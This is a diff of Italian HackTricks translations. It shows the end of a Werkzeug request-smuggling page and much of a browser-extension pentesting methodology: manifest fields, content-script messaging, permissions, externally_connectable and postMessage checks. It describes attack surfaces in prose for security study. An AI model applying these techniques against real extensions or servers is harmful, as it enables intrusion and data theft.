@ -164,7 +164,7 @@ Se si utilizza una **vecchia versione** di Werkzeug, provare a cambiare l'algori
|
||||||
|
|
||||||
Come osservato in [**questo problema**](https://github.com/pallets/werkzeug/issues/2833), Werkzeug non chiude una richiesta con caratteri Unicode negli header. E come spiegato in [**questo articolo**](https://mizu.re/post/twisty-python), ciò potrebbe causare una vulnerabilità di Smuggling di Richieste CL.0.
|
Come osservato in [**questo problema**](https://github.com/pallets/werkzeug/issues/2833), Werkzeug non chiude una richiesta con caratteri Unicode negli header. E come spiegato in [**questo articolo**](https://mizu.re/post/twisty-python), ciò potrebbe causare una vulnerabilità di Smuggling di Richieste CL.0.
|
||||||
|
|
||||||
Questo perché, in Werkzeug, è possibile inviare alcuni caratteri **Unicode** e farà "rompere" il server. Tuttavia, se la connessione HTTP è stata creata con l'intestazione **`Connection: keep-alive`**, il corpo della richiesta non verrà letto e la connessione rimarrà aperta, quindi il **corpo** della richiesta verrà trattato come la **successiva richiesta HTTP**.
|
Questo perché, in Werkzeug è possibile inviare alcuni caratteri **Unicode** e farà "rompere" il server. Tuttavia, se la connessione HTTP è stata creata con l'intestazione **`Connection: keep-alive`**, il corpo della richiesta non verrà letto e la connessione rimarrà aperta, quindi il **corpo** della richiesta verrà trattato come la **richiesta HTTP successiva**.
|
||||||
|
|
||||||
## Riferimenti
|
## Riferimenti
|
||||||
|
|
||||||
|
@ -173,22 +173,22 @@ Questo perché, in Werkzeug, è possibile inviare alcuni caratteri **Unicode** e
|
||||||
* [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
|
* [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
|
||||||
* [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
|
* [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di approfondire, ottenere shell e divertirsi.
|
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, ottenere shell e divertirsi.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/" %}
|
{% embed url="https://pentest-tools.com/" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -22,7 +22,7 @@ Le estensioni del browser sono scritte in JavaScript e caricate dal browser in b
|
||||||
|
|
||||||
I layout delle estensioni appaiono migliori quando visualizzati e sono composti da tre componenti. Esaminiamo ogni componente in dettaglio.
|
I layout delle estensioni appaiono migliori quando visualizzati e sono composti da tre componenti. Esaminiamo ogni componente in dettaglio.
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (16).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (16) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
|
||||||
|
|
||||||
### **Script di Contenuto**
|
### **Script di Contenuto**
|
||||||
|
|
||||||
|
@ -34,7 +34,7 @@ Il core dell'estensione contiene la maggior parte dei privilegi/accessi dell'est
|
||||||
|
|
||||||
### **Binario Nativo**
|
### **Binario Nativo**
|
||||||
|
|
||||||
L'estensione consente un binario nativo che può **accedere alla macchina host con i pieni privilegi dell'utente**. Il binario nativo interagisce con il core dell'estensione attraverso l'interfaccia di programmazione delle applicazioni del plugin Netscape standard ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilizzata da Flash e altri plugin del browser.
|
L'estensione consente un binario nativo che può **accedere alla macchina host con i pieni privilegi dell'utente.** Il binario nativo interagisce con il core dell'estensione attraverso l'interfaccia di programmazione delle applicazioni del plugin Netscape standard ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilizzata da Flash e altri plugin del browser.
|
||||||
|
|
||||||
### Limiti
|
### Limiti
|
||||||
|
|
||||||
|
@ -44,7 +44,7 @@ Per ottenere i pieni privilegi dell'utente, un attaccante deve convincere l'este
|
||||||
|
|
||||||
Ogni componente dell'estensione è separato gli uni dagli altri da **forti confini protettivi**. Ogni componente viene eseguito in un **processo separato del sistema operativo**. Gli script di contenuto e i core delle estensioni vengono eseguiti in **processi sandbox** non disponibili alla maggior parte dei servizi del sistema operativo.
|
Ogni componente dell'estensione è separato gli uni dagli altri da **forti confini protettivi**. Ogni componente viene eseguito in un **processo separato del sistema operativo**. Gli script di contenuto e i core delle estensioni vengono eseguiti in **processi sandbox** non disponibili alla maggior parte dei servizi del sistema operativo.
|
||||||
|
|
||||||
Inoltre, gli script di contenuto sono separati dalle rispettive pagine web da **esecuzioni in un heap JavaScript separato**. Lo script di contenuto e la pagina web hanno **accesso allo stesso DOM sottostante**, ma i due **non scambiano mai puntatori JavaScript**, impedendo la fuoriuscita di funzionalità JavaScript.
|
Inoltre, gli script di contenuto sono separati dalle rispettive pagine web eseguendo in un **heap JavaScript separato**. Lo script di contenuto e la pagina web hanno **accesso allo stesso DOM sottostante**, ma i due **non scambiano mai puntatori JavaScript**, impedendo la fuoriuscita di funzionalità JavaScript.
|
||||||
|
|
||||||
## **`manifest.json`**
|
## **`manifest.json`**
|
||||||
|
|
||||||
|
@ -83,7 +83,7 @@ Esempio:
|
||||||
```
|
```
|
||||||
### `content_scripts`
|
### `content_scripts`
|
||||||
|
|
||||||
I content scripts vengono **caricati** ogni volta che l'utente **naviga su una pagina corrispondente**, nel nostro caso su qualsiasi pagina corrispondente all'espressione **`https://example.com/*`** e non corrispondente alla regex **`*://*/*/business*`**. Eseguono **come gli script della pagina stessa** e hanno accesso arbitrario al [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document\_Object\_Model) della pagina.
|
I content scripts vengono **caricati** ogni volta che l'utente **naviga su una pagina corrispondente**, nel nostro caso su qualsiasi pagina corrispondente all'espressione **`https://example.com/*`** e non corrispondente al regex **`*://*/*/business*`**. Essi vengono eseguiti **come gli script della pagina stessa** e hanno accesso arbitrario al [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) della pagina.
|
||||||
```json
|
```json
|
||||||
"content_scripts": [
|
"content_scripts": [
|
||||||
{
|
{
|
||||||
|
@ -118,11 +118,11 @@ document.body.appendChild(div);
|
||||||
Un messaggio viene inviato alle pagine dell'estensione dallo script di contenuto quando viene cliccato questo pulsante, attraverso l'utilizzo dell'[**API runtime.sendMessage()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Ciò è dovuto alla limitazione dello script di contenuto nell'accesso diretto alle API, con `storage` tra le poche eccezioni. Per funzionalità al di là di queste eccezioni, vengono inviati messaggi alle pagine dell'estensione con cui gli script di contenuto possono comunicare.
|
Un messaggio viene inviato alle pagine dell'estensione dallo script di contenuto quando viene cliccato questo pulsante, attraverso l'utilizzo dell'[**API runtime.sendMessage()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Ciò è dovuto alla limitazione dello script di contenuto nell'accesso diretto alle API, con `storage` tra le poche eccezioni. Per funzionalità al di là di queste eccezioni, vengono inviati messaggi alle pagine dell'estensione con cui gli script di contenuto possono comunicare.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
A seconda del browser, le capacità dello script di contenuto possono variare leggermente. Per i browser basati su Chromium, l'elenco delle capacità è disponibile nella [documentazione per sviluppatori di Chrome](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), e per Firefox, il [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) funge da fonte primaria.\
|
A seconda del browser, le capacità dello script di contenuto possono variare leggermente. Per i browser basati su Chromium, l'elenco delle capacità è disponibile nella [documentazione per sviluppatori di Chrome](https://developer.chrome.com/docs/extensions/mv3/content\_scripts/#capabilities), e per Firefox, il [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content\_scripts#webextension\_apis) funge da fonte primaria.\
|
||||||
È inoltre importante notare che gli script di contenuto hanno la capacità di comunicare con gli script di background, consentendo loro di eseguire azioni e trasmettere risposte.
|
È inoltre importante notare che gli script di contenuto hanno la capacità di comunicare con gli script di background, consentendo loro di eseguire azioni e trasmettere risposte.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Per visualizzare e eseguire il debug degli script di contenuto in Chrome, il menu degli strumenti per sviluppatori di Chrome può essere accessibile da Opzioni > Altri strumenti > Strumenti per sviluppatori OPPURE premendo Ctrl + Shift + I.
|
Per visualizzare e eseguire il debug degli script di contenuto in Chrome, è possibile accedere al menu degli strumenti per sviluppatori di Chrome da Opzioni > Altri strumenti > Strumenti per sviluppatori OPPURE premendo Ctrl + Shift + I.
|
||||||
|
|
||||||
Una volta visualizzati gli strumenti per sviluppatori, è necessario fare clic sulla scheda **Sorgente**, seguita dalla scheda **Script di contenuto**. Ciò consente di osservare gli script di contenuto in esecuzione da varie estensioni e impostare i punti di interruzione per tracciare il flusso di esecuzione.
|
Una volta visualizzati gli strumenti per sviluppatori, è necessario fare clic sulla scheda **Sorgente**, seguita dalla scheda **Script di contenuto**. Ciò consente di osservare gli script di contenuto in esecuzione da varie estensioni e impostare i punti di interruzione per tracciare il flusso di esecuzione.
|
||||||
|
|
||||||
|
@ -132,7 +132,7 @@ Una volta visualizzati gli strumenti per sviluppatori, è necessario fare clic s
|
||||||
Si noti che **gli script di contenuto non sono obbligatori** poiché è anche possibile **iniettare dinamicamente** **script** e **iniettarli programmaticamente** nelle pagine web tramite **`tabs.executeScript`**. Questo fornisce effettivamente un controllo più **granulare**.
|
Si noti che **gli script di contenuto non sono obbligatori** poiché è anche possibile **iniettare dinamicamente** **script** e **iniettarli programmaticamente** nelle pagine web tramite **`tabs.executeScript`**. Questo fornisce effettivamente un controllo più **granulare**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Per l'iniezione programmatica di uno script di contenuto, è necessario che l'estensione abbia [permessi dell'host](https://developer.chrome.com/docs/extensions/reference/permissions) per la pagina in cui gli script devono essere iniettati. Questi permessi possono essere garantiti sia **richiedendoli** all'interno del manifesto dell'estensione o su base temporanea tramite [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
|
Per l'iniezione programmatica di uno script di contenuto, è necessario che l'estensione abbia le [autorizzazioni dell'host](https://developer.chrome.com/docs/extensions/reference/permissions) per la pagina in cui gli script devono essere iniettati. Queste autorizzazioni possono essere garantite sia richiedendole all'interno del manifesto dell'estensione che su base temporanea tramite [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
|
||||||
|
|
||||||
#### Esempio di estensione basata su activeTab
|
#### Esempio di estensione basata su activeTab
|
||||||
|
|
||||||
|
@ -240,7 +240,7 @@ I messaggi inviati dagli script di contenuto sono ricevuti dalla **pagina di sfo
|
||||||
|
|
||||||
* **Ruolo della Pagina di Sfondo:** Agisce come centro nervoso dell'estensione, garantendo comunicazione e coordinazione tra le varie parti dell'estensione.
|
* **Ruolo della Pagina di Sfondo:** Agisce come centro nervoso dell'estensione, garantendo comunicazione e coordinazione tra le varie parti dell'estensione.
|
||||||
* **Persistenza:** È un'entità sempre presente, invisibile per l'utente ma fondamentale per la funzionalità dell'estensione.
|
* **Persistenza:** È un'entità sempre presente, invisibile per l'utente ma fondamentale per la funzionalità dell'estensione.
|
||||||
* **Generazione Automatica:** Se non esplicitamente definita, il browser creerà automaticamente una pagina di sfondo. Questa pagina generata automaticamente includerà tutti gli script di sfondo specificati nel manifesto dell'estensione, garantendo il funzionamento senza intoppi dei compiti di sfondo dell'estensione.
|
* **Generazione Automatica:** Se non è definita esplicitamente, il browser creerà automaticamente una pagina di sfondo. Questa pagina generata automaticamente includerà tutti gli script di sfondo specificati nel manifesto dell'estensione, garantendo il funzionamento senza problemi dei compiti di sfondo dell'estensione.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
La comodità fornita dal browser nella generazione automatica di una pagina di sfondo (quando non dichiarata esplicitamente) garantisce che tutti gli script di sfondo necessari siano integrati e operativi, semplificando il processo di configurazione dell'estensione.
|
La comodità fornita dal browser nella generazione automatica di una pagina di sfondo (quando non dichiarata esplicitamente) garantisce che tutti gli script di sfondo necessari siano integrati e operativi, semplificando il processo di configurazione dell'estensione.
|
||||||
|
@ -258,7 +258,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" });
|
||||||
```
|
```
|
||||||
Utilizza l'API [runtime.onMessage](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) per ascoltare i messaggi. Quando viene ricevuto un messaggio `"explain"`, utilizza l'API [tabs](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) per aprire una pagina in una nuova scheda.
|
Utilizza l'API [runtime.onMessage](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) per ascoltare i messaggi. Quando viene ricevuto un messaggio `"explain"`, utilizza l'API [tabs](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) per aprire una pagina in una nuova scheda.
|
||||||
|
|
||||||
Per eseguire il debug dello script di background, è possibile andare ai **dettagli dell'estensione e ispezionare il service worker**, che aprirà gli strumenti per sviluppatori con lo script di background:
|
Per eseguire il debug dello script di background, è possibile andare ai **dettagli dell'estensione e ispezionare il service worker**, ciò aprirà gli strumenti per sviluppatori con lo script di background:
|
||||||
|
|
||||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -277,9 +277,9 @@ Si noti che queste pagine non sono persistenti come le pagine di background poic
|
||||||
* **Comunicazione con gli script di contenuto:** Similmente alla pagina di background, queste pagine possono ricevere messaggi dagli script di contenuto, facilitando l'interazione all'interno dell'estensione.
|
* **Comunicazione con gli script di contenuto:** Similmente alla pagina di background, queste pagine possono ricevere messaggi dagli script di contenuto, facilitando l'interazione all'interno dell'estensione.
|
||||||
* **Accesso alle API specifiche dell'estensione:** Queste pagine godono di un accesso completo alle API specifiche dell'estensione, soggette alle autorizzazioni definite per l'estensione.
|
* **Accesso alle API specifiche dell'estensione:** Queste pagine godono di un accesso completo alle API specifiche dell'estensione, soggette alle autorizzazioni definite per l'estensione.
|
||||||
|
|
||||||
### `permissions` & `host_permissions`
|
### `permissions` e `host_permissions`
|
||||||
|
|
||||||
**`permissions`** e **`host_permissions`** sono voci presenti nel `manifest.json` che indicano **quali autorizzazioni** ha l'estensione del browser (archiviazione, posizione...) e in **quali pagine web**.
|
**`permissions`** e **`host_permissions`** sono voci presenti nel file `manifest.json` che indicheranno **quali autorizzazioni** ha l'estensione del browser (archiviazione, posizione...) e in **quali pagine web**.
|
||||||
|
|
||||||
Poiché le estensioni del browser possono essere così **privilegiate**, una estensione dannosa o compromessa potrebbe consentire all'attaccante **diversi mezzi per rubare informazioni sensibili e spiare l'utente**.
|
Poiché le estensioni del browser possono essere così **privilegiate**, una estensione dannosa o compromessa potrebbe consentire all'attaccante **diversi mezzi per rubare informazioni sensibili e spiare l'utente**.
|
||||||
|
|
||||||
|
@ -327,11 +327,11 @@ Queste pagine sono accessibili tramite URL come:
|
||||||
```
|
```
|
||||||
chrome-extension://<extension-id>/message.html
|
chrome-extension://<extension-id>/message.html
|
||||||
```
|
```
|
||||||
In estensioni pubbliche l'**ID dell'estensione è accessibile**:
|
Nei **componenti aggiuntivi pubblici l'** **ID del componente aggiuntivo è accessibile**:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1194).png" alt="" width="375"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1194).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Tuttavia, se il parametro `manifest.json` **`use_dynamic_url`** viene utilizzato, questo **ID può essere dinamico**.
|
Tuttavia, se il parametro `manifest.json` **`use_dynamic_url`** è utilizzato, questo **ID può essere dinamico**.
|
||||||
|
|
||||||
Essere autorizzati ad accedere a queste pagine rende queste pagine **potenzialmente vulnerabili al ClickJacking**:
|
Essere autorizzati ad accedere a queste pagine rende queste pagine **potenzialmente vulnerabili al ClickJacking**:
|
||||||
|
|
||||||
|
@ -340,14 +340,14 @@ Essere autorizzati ad accedere a queste pagine rende queste pagine **potenzialme
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Consentire il caricamento di queste pagine solo dall'estensione e non da URL casuali potrebbe prevenire attacchi di ClickJacking.
|
Consentire il caricamento di queste pagine solo dall'estensione e non da URL casuali potrebbe prevenire gli attacchi di ClickJacking.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### `externally_connectable`
|
### `externally_connectable`
|
||||||
|
|
||||||
Come da [**documentazione**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), la proprietà del manifesto `"externally_connectable"` dichiara **quali estensioni e pagine web possono connettersi** alla tua estensione tramite [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) e [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
|
Come indicato nella [**documentazione**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), la proprietà del manifesto `"externally_connectable"` dichiara **quali estensioni e pagine web possono connettersi** alla tua estensione tramite [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) e [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
|
||||||
|
|
||||||
* Se la chiave **`externally_connectable`** non è dichiarata nel manifesto della tua estensione o è dichiarata come **`"ids": ["*"]`**, **tutte le estensioni possono connettersi, ma nessuna pagina web può connettersi**.
|
* Se la chiave **`externally_connectable`** non è dichiarata nel manifesto dell'estensione o è dichiarata come **`"ids": ["*"]`**, **tutte le estensioni possono connettersi, ma nessuna pagina web può connettersi**.
|
||||||
* Se vengono specificati **ID specifici**, come in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **solo quelle applicazioni** possono connettersi.
|
* Se vengono specificati **ID specifici**, come in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **solo quelle applicazioni** possono connettersi.
|
||||||
* Se vengono specificati **corrispondenze**, quelle app web saranno in grado di connettersi:
|
* Se vengono specificati **corrispondenze**, quelle app web saranno in grado di connettersi:
|
||||||
```json
|
```json
|
||||||
|
@ -357,14 +357,14 @@ Come da [**documentazione**](https://developer.chrome.com/docs/extensions/refere
|
||||||
```
|
```
|
||||||
* Se è specificato come vuoto: **`"externally_connectable": {}`**, nessuna app o sito web potrà connettersi.
|
* Se è specificato come vuoto: **`"externally_connectable": {}`**, nessuna app o sito web potrà connettersi.
|
||||||
|
|
||||||
Più estensioni e URL sono indicati qui, più piccola sarà la superficie di attacco.
|
Più sono ridotte le estensioni e gli URL indicati qui, più piccola sarà la superficie di attacco.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Se una pagina web vulnerabile a XSS o takeover è indicata in **`externally_connectable`**, un attaccante sarà in grado di inviare messaggi direttamente allo script di background, bypassando completamente lo script di contenuto e la sua CSP.
|
Se una pagina web **vulnerabile a XSS o takeover** è indicata in **`externally_connectable`**, un attaccante sarà in grado di **inviare messaggi direttamente allo script di background**, bypassando completamente lo script di contenuto e la sua CSP.
|
||||||
|
|
||||||
Pertanto, si tratta di un bypass molto potente.
|
Pertanto, si tratta di un **bypass molto potente**.
|
||||||
|
|
||||||
Inoltre, se il cliente installa un'estensione fraudolenta, anche se non è consentito comunicare con l'estensione vulnerabile, potrebbe iniettare dati XSS in una pagina web consentita o abusare delle API **`WebRequest`** o **`DeclarativeNetRequest`** per manipolare le richieste su un dominio mirato alterando la richiesta di un file JavaScript di una pagina. (Si noti che la CSP sulla pagina mirata potrebbe prevenire questi attacchi). Quest'idea proviene [**da questo articolo**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
|
Inoltre, se il cliente installa un'estensione fraudolenta, anche se non è consentito comunicare con l'estensione vulnerabile, potrebbe iniettare **dati XSS in una pagina web consentita** o abusare delle API **`WebRequest`** o **`DeclarativeNetRequest`** per manipolare le richieste su un dominio mirato alterando una richiesta di una **file JavaScript** di una pagina. (Si noti che la CSP sulla pagina mirata potrebbe prevenire questi attacchi). Quest'idea proviene [**da questo articolo**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
##
|
##
|
||||||
|
@ -406,7 +406,7 @@ Una comunicazione sicura tramite Post Message dovrebbe verificare l'autenticità
|
||||||
|
|
||||||
- **`event.isTrusted`**: Questo è True solo se l'evento è stato attivato da un'azione dell'utente
|
- **`event.isTrusted`**: Questo è True solo se l'evento è stato attivato da un'azione dell'utente
|
||||||
- Lo script di contenuto potrebbe aspettarsi un messaggio solo se l'utente esegue qualche azione
|
- Lo script di contenuto potrebbe aspettarsi un messaggio solo se l'utente esegue qualche azione
|
||||||
- **Dominio di origine**: potrebbe aspettarsi un messaggio solo da una lista di domini consentiti.
|
- **Dominio di origine**: potrebbe aspettarsi un messaggio solo da una lista di domini autorizzati.
|
||||||
- Se viene utilizzata un'espressione regolare, fare molta attenzione
|
- Se viene utilizzata un'espressione regolare, fare molta attenzione
|
||||||
- **Sorgente**: `received_message.source !== window` può essere utilizzato per verificare se il messaggio proveniva **dalla stessa finestra** in cui lo script di contenuto è in ascolto.
|
- **Sorgente**: `received_message.source !== window` può essere utilizzato per verificare se il messaggio proveniva **dalla stessa finestra** in cui lo script di contenuto è in ascolto.
|
||||||
|
|
||||||
|
@ -442,7 +442,7 @@ Pertanto, la memoria dell'estensione del browser **non dovrebbe essere considera
|
||||||
|
|
||||||
Naturalmente, **non inserire informazioni sensibili nel codice**, poiché saranno **pubbliche**.
|
Naturalmente, **non inserire informazioni sensibili nel codice**, poiché saranno **pubbliche**.
|
||||||
|
|
||||||
Per estrarre la memoria dal browser potresti **estrarre la memoria del processo** o andare alle **impostazioni** dell'estensione del browser cliccando su **`Ispeziona popup`** -> Nella sezione **`Memoria`** -> **`Fai uno snapshot`** e **`CTRL+F`** per cercare all'interno dello snapshot informazioni sensibili.
|
Per estrarre la memoria dal browser potresti **estrarre la memoria del processo** o andare nelle **impostazioni** dell'estensione del browser cliccando su **`Ispeziona popup`** -> Nella sezione **`Memoria`** -> **`Fai uno snapshot`** e **`CTRL+F`** per cercare all'interno dello snapshot informazioni sensibili.
|
||||||
|
|
||||||
## Comunicazione Script di Contenuto **↔︎** Script di Background
|
## Comunicazione Script di Contenuto **↔︎** Script di Background
|
||||||
|
|
||||||
|
@ -489,19 +489,19 @@ Nella creazione di nuove estensioni, la preferenza dovrebbe essere verso le prom
|
||||||
|
|
||||||
## Caricamento di un'estensione nel browser
|
## Caricamento di un'estensione nel browser
|
||||||
|
|
||||||
1. **Scarica** l'Estensione per il Browser & scompattala
|
1. **Scarica** l'Estensione per il Browser e scompattala
|
||||||
2. Vai su **`chrome://extensions/`** e **abilita** la `Modalità Sviluppatore`
|
2. Vai a **`chrome://extensions/`** e **abilita** la `Modalità Sviluppatore`
|
||||||
3. Clicca sul pulsante **`Carica non elaborato`**
|
3. Clicca sul pulsante **`Carica non elaborato`**
|
||||||
|
|
||||||
In **Firefox** vai su **`about:debugging#/runtime/this-firefox`** e clicca sul pulsante **`Carica componente aggiuntivo temporaneo`**.
|
In **Firefox** vai a **`about:debugging#/runtime/this-firefox`** e clicca sul pulsante **`Carica componente aggiuntivo temporaneo`**.
|
||||||
|
|
||||||
## Ottenere il codice sorgente dallo store
|
## Ottenere il codice sorgente dallo store
|
||||||
|
|
||||||
Il codice sorgente di un'estensione Chrome può essere ottenuto attraverso vari metodi. Di seguito sono fornite spiegazioni dettagliate e istruzioni per ciascuna opzione.
|
Il codice sorgente di un'estensione Chrome può essere ottenuto attraverso vari metodi. Di seguito sono fornite spiegazioni dettagliate e istruzioni per ciascuna opzione.
|
||||||
|
|
||||||
### Scarica l'Estensione come ZIP tramite la riga di comando
|
### Scarica l'Estensione come ZIP tramite riga di comando
|
||||||
|
|
||||||
Il codice sorgente di un'estensione Chrome può essere scaricato come file ZIP utilizzando la riga di comando. Questo comporta l'uso di `curl` per recuperare il file ZIP da un URL specifico e quindi estrarre i contenuti del file ZIP in una directory. Ecco i passaggi:
|
Il codice sorgente di un'estensione Chrome può essere scaricato come file ZIP utilizzando la riga di comando. Ciò comporta l'utilizzo di `curl` per recuperare il file ZIP da un URL specifico e quindi estrarre i contenuti del file ZIP in una directory. Ecco i passaggi:
|
||||||
|
|
||||||
1. Sostituisci `"extension_id"` con l'effettivo ID dell'estensione.
|
1. Sostituisci `"extension_id"` con l'effettivo ID dell'estensione.
|
||||||
2. Esegui i seguenti comandi:
|
2. Esegui i seguenti comandi:
|
||||||
|
@ -533,7 +533,7 @@ Per identificare le estensioni, puoi mappare i loro ID ai nomi:
|
||||||
|
|
||||||
### Utilizzare un Archiviatore o Decompressore di File
|
### Utilizzare un Archiviatore o Decompressore di File
|
||||||
|
|
||||||
Vai al Chrome Web Store e scarica l'estensione. Il file avrà estensione `.crx`. Cambia l'estensione del file da `.crx` a `.zip`. Utilizza un qualsiasi archiviatore di file (come WinRAR, 7-Zip, ecc.) per estrarre i contenuti del file ZIP.
|
Vai al Chrome Web Store e scarica l'estensione. Il file avrà estensione `.crx`. Cambia l'estensione del file da `.crx` a `.zip`. Utilizza qualsiasi archiviatore di file (come WinRAR, 7-Zip, ecc.) per estrarre i contenuti del file ZIP.
|
||||||
|
|
||||||
### Utilizzare la Modalità Sviluppatore in Chrome
|
### Utilizzare la Modalità Sviluppatore in Chrome
|
||||||
|
|
||||||
|
@ -543,10 +543,10 @@ Apri Chrome e vai a `chrome://extensions/`. Abilita "Modalità Sviluppatore" in
|
||||||
|
|
||||||
Anche se le Estensioni del Browser hanno una **superficie di attacco limitata**, alcune di esse potrebbero contenere **vulnerabilità** o **miglioramenti potenziali della sicurezza**. Ecco le più comuni:
|
